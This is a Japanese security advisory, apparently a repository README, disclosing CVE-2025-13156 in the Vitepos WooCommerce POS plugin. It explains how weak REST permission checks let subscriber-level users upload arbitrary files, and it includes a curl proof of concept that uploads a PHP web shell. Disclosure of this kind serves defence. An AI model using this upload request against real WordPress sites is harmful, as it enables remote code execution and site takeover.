
CVE-2025-13156の開示
CVE-2025-13156 の開示
このリポジトリは、appsbd によって開発された WordPress プラグイン Vitepos – Point of Sale (POS) for WooCommerce <= 3.3.0 で発見された脆弱性を開示するものです。
| CVE ID | 種類 | コンポーネント | 影響 |
|---|---|---|---|
| CVE-2025-13156 | 認証済み(購読者+)任意ファイルアップロードによるリモートコード実行 | modules/class-pos-settings.php api/v1/class-pos-product-api.php | 影響を受けるサイトのサーバーに任意のファイルをアップロードできる |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
このプラグインの /wp-json/vitepos/v1/product/... 配下の REST ルートは、緩い権限チェックに依存しており、呼び出し元が POS ユーザーであるか、商品タームを管理する権限を持っているかを無視して、事実上あらゆるログイン済みユーザー(is_user_logged_in())を受け入れます。その結果、低権限ロール(例: 購読者)でも add-category/update-category などのエンドポイントに到達できます。
WebRoot直下には置けないため、環境によって成功しない場合がある。Uploads配下は基本PHPの実行が許可されていないので、よほど変な環境じゃないと無理じゃないかなあと思った。
MIME許可リストにapplication/octet-streamという文字列が見えた瞬間嫌な予感がしたが本当に成功してしまい、ビックリだった。
本来はWordPressのコア部分がPHPのアップロードを防いでいるのだが、このプラグインは独自の処理を実装していたため、今回の脆弱性が再現出来た。かな~りレアケースです。
名前: MooseLove
役割: 独立系セキュリティ研究者 / バグハンター
連絡先: リクエストに応じて提供します
本アドバイザリは、一般のセキュリティ啓発を目的として提供されています。出典を明記の上、自由に共有して構いません。